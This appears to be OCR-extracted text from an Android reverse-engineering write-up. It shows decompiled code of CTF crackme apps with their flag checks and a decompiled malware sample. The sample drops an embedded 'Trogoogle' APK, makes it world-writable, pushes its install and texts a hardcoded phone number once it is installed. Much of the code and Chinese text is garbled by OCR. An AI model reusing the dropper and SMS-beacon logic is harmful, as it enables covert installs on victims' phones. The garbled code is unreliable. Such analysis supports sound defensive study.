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[J) MainActivity.smali
1 .class public Lre/sdnisc2018/sdnisc_apkl/MainActivity;
2 .super Landroid/support/v7/app/AppCompatActivity;

B

3
q

€ # direct methods
7 .method public constructor -«

s
10

.source "MainActivity.java

.locals 0
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11 invoke-direct {p0}, Lanc oK patActivity; —><init
12

13 return-void

12 .end method

15

1e .method private getFlag()Ljava/lang/String;
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- compat

## constraint

## coreui

-H#8 coreutils

f## design. widget

-f3 fragment )
3 graphics. drawable Xﬂ'ﬁ_‘EH{] J&II’(&F
-7 v13. view

- re. sdnisc2018. sdnlsc_apkl
BuildConfig. class

Maindctivity()
checkPassword(String) : woid
getFlag() : String
onCreate(Bundle) : void
showlMsgToast (String) : void
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MainActivity. class &2

package re.sdnisc2@18.sdnisc_apkl;

= import android.content.Context;
import android.os.Bundle;
import android.support.v?.app.AppCompatActivity;
import android.util.Basedd;
import android.view.View;
import android.view.View.OnClicklListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

public class
extends AppCompatActivity

e/ {
private String getFlag()
e i
return getBaseContext().getString(2131427368);
T

private void showMsgToast(String paramString)

e 1
Toast.makeText(this, paramString, 1).show();

H



package re. sdnisc2018. sdnisc_apkl;

import android. content. Context;

import android. os.Bundle;

import android. support. v7. app. AppCompatActivity;
import android.util.Base64;

import android. view. View;

import android. view. View. OnClickListener;

import android. widget.Button;

import android. widget.EditText;

import android.widget. Toast;

public class MainActivity

extends AppCompatActivity

{
private String getFlag()
{
return getBaseContext (). getString(2131427360) ;
}

private void showMsgToast (String paramString)
{

Toast. makeText (this, paramString, 1).show();

public void checkPassword(String paramString)

{
if (paramString. equals(new String(Base64. decode (new StringBuffer (getFlag()).reverse(). toString(), 0))))
{
showMsgToast (“Congratulations !”):
return;
}
showMsgToast ("Try again.”);
}

protected void onCreate(Bundle paramBundle)
{

super. onCreate (paramBundle) ;
setContentView(2131296283) :
((Button) findViewById(2131165261)). setOnClickListener (new View. OnClickListener ()
{
public void onClick (View paramAnonymousView)
{
paramAnonymousView = ((EditText)MainActivity. this. findViewById(2131165253)). getText (). toString();

MainActivity. this. checkPassword (paramAnonymousView) ;
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return getBaseContext (). getString(2131427360) ;
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public static final classWstring

{
public static final int al action_bar_home_description = 2131427328;
public static final int abchaction_bar_up_description = 2131427329;
public static final int abc_Jction_menu_overflow_description = 2131427338;
public static final int abc_adfion_mode_done = 2131427331;
public static final int abc_act\vity chooser_view_see_all = 2131427332;
public static final int abc_actiditychooserview_choose_application = 2131427333;
public static final int abc_capitdl_off = 2131427334;
public static final int abc_capital on = 2131427335;
public static final int abc_font_family body 1 material = 2131427336;
public static final int abc_font_family body 2 material = 2131427337;
public static final int abc_font_family_button_material = 2131427338;
public static final int abc_font_family ‘caption_material = 2131427339;
public static final int abc_font_family_display 1_material = 2131427340;
public static final int abc_font_family display_2_material = 2131427341;
public static final int abc_font_family display_3_material = 2131427342;
public static final int abc_font_family display_4_material = 2131427343;
public static final int abc_font_family headline_material = 2131427344;
public static final int abc_font_family ménu_material = 2131427345;
public static final int abc_font_family_spbhead_material = 2131427346;
public static final int abc_font_family tfitle material = 2131427347;
public static final int abc_search_hint 3 2131427348;
public static final int abc_searchview_dgscription_clear = 2131427349;
public static final int abc_searchview_dpbscription_query = 2131427350;
public static final int abc_searchview_description_search = 2131427351;
public static final int abc_searchview_gescription_submit = 2131427352;
public static final int abc_searchview Hescription_voice = 2131427353;
public static final int abc_shareactionbrovider_share_with = 2131427354;
public static final int abc_shareactiomprovider_share_with_application = 2131427355;
public static final int abc_toolbar_colflapse_description = 2131427356;
public static final int app_name = 213§427357;
public static final int search_menu_tjkle = 2131427358;
public static final int status_bar_no¥ification_info_overflow = 2131427359;

| public static final int toString - 2131427360; |
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20 <string abc_font_family menu material">sans-serif</string>

21 <string c_font_family_ subhead material">sans-serif</string>

22 <string nt_family title_material">sans-serif-medium</string>

23 <string hint">Search..</string>

24 <string ;. tew description_clear">Clear query</string>

25 <string abc_searchview description_guery">Search query</string>

26 <string name="abc_searchview_gescription_ search">Search</string>

27 <string name="abc_searchview/description_submit">Submit query</string>

28 <string _description voice">Voice search</string>

25 <string abc_shareacylonprovider_share_with">Share with</string>

30 <string tionprovider share_with_application">Share with %s</string>
31 <string r_collapse_description">Collapse</string>

32 <string >sdnisc_apkl</string>

33 <string enu_title">Search</string>

34 <string bar_notification info_overflow">999+</string>

35 <string toString">991YiZW0z81ZhFjZ2fIXdwk3X1k2XzIXZIt3Zhxmz</string> |
3¢ </resources
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private boolean checkSN(String paramStringl, String paramString2)
= 1
- if (paramStringl != null) {
try
. {
- if (paramStringl.length() == @) {
return false;

}
if ((paramString2 != null) && (paramString2.length() == 22))
{

Object localObject = MessageDigest.getInstance("MD5");
((MessageDigest)localObject).reset();
((MessageDigest)localObject).update(paramStringl.getBytes());
paramStringl = toHexString(((MessageDigest)localObject).digest(), "");
localObject = new StringBuilder();

int i = 9;

while (i < paramStringl.length())

((StringBuilder)localObject).append(paramStringl.charAt(i));
i+4=2;

paramStringl = ((StringBuilder)localObject).toString();
boolean bool = ("flag{" + paramStringl + "}").equalsIgnoreCase(paramString2);
= if (bool) {
return true;
}
1

3. |E \F JavarE{L-fiL
package com. example. crackme;

import android. app. Activity;
import android. os.Bundle;

import android. view. Menu;

import android. view.Menulnflater;
import android. view. View;

import android. view. View. OnClickListener;



import android.widget.Button;
import android.widget. EditText;
import android. widget. Toast;

import java.security.MessageDigest;

import java. security.NoSuchAlgorithmException;

public class MainActivity

extends Activity

private Button btn register;
private EditText edit sn;

String edit userName;

private boolean checkSN(String paramStringl, String paramString?2)
{
if (paramStringl != null) {
try
{
if (paramStringl. length() == 0) {
return false;
}
if ((paramString2 !'= null) && (paramString2.length() == 22))
{

Object localObject = MessageDigest. getInstance ("MD5”) ;

((MessageDigest) localObject). reset () ;

((MessageDigest) localObject). update (paramStringl. getBytes()) ;

paramStringl = toHexString(((MessageDigest)localObject).digest(), ””);

localObject = new StringBuilder();

int i = 0;

while (i < paramStringl.length())

{
((StringBuilder) localObject). append (paramStringl. charAt (i)) ;
i+=2;

}

paramStringl = ((StringBuilder)localObject). toString();

boolean bool = (“flag{” + paramStringl + ”7}”). equalsIgnoreCase (paramString?2) ;
if (bool) {

return true;

}
catch (NoSuchAlgorithmException paramStringl)

{

paramStringl. printStackTrace () ;

}

return false;

private static String toHexString(byte[] paramArrayOfByte, String paramString)
{

StringBuilder localStringBuilder = new StringBuilder();

int j = paramArrayOfByte. length;

int i = 0;

while (i < j)

{

String str = Integer. toHexString (paramArrayOfByte[i] & OxFF);



if (str.length() == 1) {
localStringBuilder. append( 0’ ) ;
1
localStringBuilder. append (str). append (paramString) ;
i+=1;
}

return localStringBuilder. toString() ;

public void onCreate (Bundle paramBundle)
{
super. onCreate (paramBundle) ;
setContentView(2130968601) :
setTitle (2131099677) ;
this. edit userName = “Tenshine”;
this.edit sn = ((EditText)findViewById(2131492945)) ;
this. btn register = ((Button)findViewByld(2131492946)) ;
this. btn_register. setOnClickListener (new View. OnClickListener ()

{

public void onClick (View paramAnonymousView)

{
if ('MainActivity. this. checkSN(MainActivity. this. edit userName. trim(),
MainActivity. this. edit sn. getText (). toString(). trim()))

{
Toast. makeText MainActivity. this, 2131099678, 0).show();

return;

}

Toast. makeText (MainActivity. this, 2131099675, 0).show() ;
MainActivity. this. btn register. setEnabled(false) ;
MainActivity. this. setTitle (2131099673) ;

public boolean onCreateOptionsMenu(Menu paramMenu)

{
getMenuInflater (). inflate (2131558400, paramMenu) ;

return true;
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public void onCreate (Bundle paramBundle)

{
super. onCreate (paramBundle) ;
setContentView(2130968601) :
setTitle (2131099677) ;
this. edit userName = “Tenshine”;
this. edit sn = ((EditText)findViewByld(2131492945)) ;
this. btn register = ((Button)findViewByld(2131492946)) ;
this. btn register. setOnClickListener (new View. OnClickListener ()

{

public void onClick (View paramAnonymousView)

{

if ('MainActivity. this. checkSN(MainActivity. this. edit userName. trim(),
MainActivity. this. edit sn. getText (). toString(). trim()))

{
Toast. makeText (MainActivity. this, 2131099678, 0).show();

return;

}

Toast. makeText (MainActivity. this, 2131099675, 0).show();
MainActivity. this. btn register. setEnabled(false) ;
MainActivity. this. setTitle (2131099673) ;
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}

this.pass = ((EditText)findViewById(2131034176));
this.buttonl = ((Button)findViewById(2131034177));
this.buttonl.setOnClickListener(new View.OnClickListener()

public void onClick(View paramAnenymousView)
{
if (!MainActivity.this.detectApk(“com.example.com.android.trogoogle”))
{
paramAnonymousView = MainActivity.this.getFilesDir().getAbsolutePath()
MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.androi
MainActivity.this.showInstallConfirmDialog(MainActivity.this, paramAno
return;

Toast.makeText(MainActivity.this,
return;

Toast.makeText(MainActivity.this,
Toast.makeText(MainActivity.this,
return;

4, BZ \FHK Javati (i

package com. example. mmsheniq;

import android.

import android

import android.

import android

import android.

import android

import android.

import android

import android.

import android

import android.

import android

import android.

import android.

import android.

import android.

import android.

import android.

import android.

import android.

import android.

import android.

annotation. SuppressLint;
app. AlertDialog. Builder;
content. BroadcastReceiver;
content. ComponentName;
content. Context;

content. DialogInterface;
content. DialogInterface. OnClickListener;
content. Intent;

content. IntentFilter;
content. pm. PackageInfo;
content. pm. PackageManager;
content. res. AssetManager;
net. ConnectivityManager;
net. NetworkInfo;

net. Uri;

os. Bundle;

support. v7. app. ActionBarActivity;
telephony. SmsManager ;
text. Editable;

view. View;

view. View. OnClickListener;

widget. Button;

import android. widget.EditText;

import android.

import java. i
import java. i
import java. i

import java. i

import java.

io.

widget. Toast;

.File;
.FileOutputStream;
. IOException;

. InputStream;

PrintStream;

}
if (IMainActivity.this.goToNetWork())
{

mEEE,

WTRE AR A%E L ", 9) . show

}
if (MainActivity.this.pass.getText().toString().length() »>= 6)

"

ISR, VRIS ..., 0) . show();
TE R S AL ", 8) . show() s

import java.util.ArraylList;

import java.util.List;

@SuppressLint ({"DefaultLocale”})

public class MainActivity

extends ActionBarActivity

Button buttonl;
Button button2:



ArrayList<{String> packagNamelList;
EditText pass;

private MyReceiver receiver;

private boolean detectApk(String paramString)

{

return this. packagNameList. contains (paramString. toLowerCase ()) ;

private boolean goToNetWork ()
{
ConnectivityManager localConnectivityManager = (ConnectivityManager)getSystemService (“connectivity”);
if (localConnectivityManager. getNetworkInfo(1). getState() != null) {}
while (localConnectivityManager. getNetworkInfo(0). getState() != null) {
return true;

}

return false;

private void initpackagNameList ()
{
this. packagNameList = new ArrayList();
List localList = getPackageManager (). getInstalledPackages (0) ;
int i = 0;
for (;;)
{
if (i >= locallist.size()) {
return;
}
PackageInfo localPackageInfo = (PackageInfo)localList.get(i);
this. packagNameList. add (localPackageInfo. packageName. toLowerCase()) ;

i+=1;

protected void onCreate (Bundle paramBundle)
{
super. onCreate (paramBundle) ;
requestWindowFeature (1) ;
setContentView(2130903064) :
initpackagNameList () ;
System. out. println("host @ QO QOO V@ OF
this. receiver = new MyReceiver (null);

paramBundle = new IntentFilter(“android. intent. action. PACKAGE ADDED”) ;

paramBundle. addDataScheme (“package”) ;
registerReceiver (this. receiver, paramBundle) ;
if (!detectApk(“com. example. com. android. trogoogle”))
{
System. out. println ("host @ © VO O € & ”);
paramBundle = getFilesDir (). getAbsolutePath() + ”/com. android. Trogoogle. apk”;

retrieveApkFromAssets (this, ”“com. android. Trogoogle. apk”, paramBundle) ;
showInstallConfirmDialog(this, paramBundle):

}

this. pass = ((EditText)findViewByld(2131034176)) ;

this. buttonl = ((Button) findViewById(2131034177));

this. buttonl. setOnClickListener (new View. OnClickListener ()

{



public void onClick (View paramAnonymousView)

{

if (!MainActivity. this. detectApk (“com. example. com. android. trogoogle”))

{
paramAnonymousView = MainActivity. this. getFilesDir (). getAbsolutePath() + ”/com. android. Trogoogle. apk”;
MainActivity. this. retrieveApkFromAssets (MainActivity. this, ”“com. android. Trogoogle. apk”, paramAnonymousView) ;
MainActivity. this. showInstallConfirmDialog(MainActivity. this, paramAnonymousView) ;
return;

}

if (!MainActivity. this. goToNetWork())

{
Toast. makeText MainActivity. this, "9V VVVVVVVVOVVVV0V0V0V0V0V0V0V9V9V9VV9", 0).show();
return;

}
if (MainActivity. this. pass. getText (). toString(). length() >= 6)
{
Toast. makeText MainActivity. this, "9 9V VOV VOOV OOPOPVPOV®. .." 0).show();
Toast. makeText MainActivity. this, "9V V VOOV VVOVOVVVVOVVVVOVOO9", 0).show();
return;
}
Toast. makeText MainActivity. this, " O QPO OV OOVOVOOVOVOVOVOVOVVVOVOVOOO”, 0).show();
}
IDF
this. button2 = ((Button)findViewByld(2131034178)) :
this. button2. setOnClickListener (new View. OnClickListener ()
{
public void onClick (View paramAnonymousView)
{

MainActivity. this. startActivity (new Intent (MainActivity. this, RegisterActivity.class));

public boolean retrieveApkFromAssets(Context paramContext, String paramStringl, String paramString2)
{
bool = false;
try
{
paramString2 = new File(paramString2) ;
if (paramString2.exists()) {
return true;
}
paramString2. createNewFile () ;
paramStringl = paramContext. getAssets (). open(paramStringl) ;
paramString2 = new FileOutputStream(paramString?2) ;
bytel[] arrayOfByte = new byte[ ?’];

for ()

{
int i = paramStringl. read(arrayOfByte) ;
if (i==-1

{
paramString2. flush() ;
paramString?2. close () ;
paramStringl. close() ;
bool = true;

break;



paramString2. write (arrayOfByte, 0, 1i);
}
return bool;
}
catch (IOException paramStringl)
{
Toast. makeText (paramContext, paramStringl. getMessage (), 2000). show() ;
paramContext = new AlertDialog. Builder (paramContext) ;
paramContext. setMessage (paramStringl. getMessage()) ;
paramContext. show () ;

paramStringl. printStackTrace () ;

public void showInstallConfirmDialog(final Context paramContext, final String paramString)
{
AlertDialog. Builder localBuilder = new AlertDialog. Builder (paramContext) ;
localBuilder. setlcon (2130837592) ;
localBuilder. setTitle( 0 QOO0 OO OOOOVO");

localBuilder. setMessage (0 QOO0 O Q0000000000000 00000000000/\/(00000000000000000
009,
localBuilder. setPositiveButton (" @ @€ €”, new Dialoglnterface. OnClickListener ()
{
public void onClick (Dialoglnterface paramAnonymousDialoglnterface, int paramAnonymousInt)
{
try
{
paramAnonymousDialogInterface = “chmod 777 7 + paramString;
Runtime. getRuntime (). exec (paramAnonymousDialogInterface) ;
paramAnonymousDialogInterface = new Intent (“android. intent. action. VIEW”) ;
paramAnonymousDialogInterface. addFlags (268435456) ;
paramAnonymousDialogInterface. setDataAndType (Uri. parse (“file://” + paramString),
“application/vnd. android. package—archive”) ;
paramContext. startActivity (paramAnonymousDialogInterface) ;
return;
}
catch (IOException paramAnonymousDialogInterface)
{
for (;;)
{

paramAnonymousDialogInterface. printStackTrace () ;

}
1)
localBuilder. show() ;

private class MyReceiver
extends BroadcastReceiver
private MyReceiver() {}
public void onReceive(Context paramContext, Intent paramIntent)

{
System. out. println("MyReceiver 9 99999V @ ”);




if (paramIntent. getAction().equals(“android. intent. action. PACKAGE ADDED”))
{
paramContext. startActivity (new Intent (paramContext, MainActivity.class)):
System. out. println(” @V VOV Ok! ”);
paramIntent = new Intent(“android. intent.action. MAIN”);
paramIntent. addFlags (268435456) ;
paramIntent. addCategory (“android. intent. category. LAUNCHER”) ;

paramIntent. setComponent (new ComponentName (”com. example. com. android. trogoogle”,
”com. example. com. android. trogoogle. MainActivity”)) ;

paramContext. startActivity (paramIntent) ;

System. out. println(” QY€ Ok! ”);
SmsManager. getDefault (). sendTextMessage (“15918661173”, null, ” Tro instanll Ok”, null, null);
System. out. println(” V@ QO OV QOO Ok! ”);
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7 Oy yyOOOOLONOOOO0Y Y ¥ VYV Y ¥ i struct STCHUNK startTagChunk[6]
8 struct ATTRIBUTECHUNK attributeChunk[1]
Ol uint acData = 2131361805 En ]
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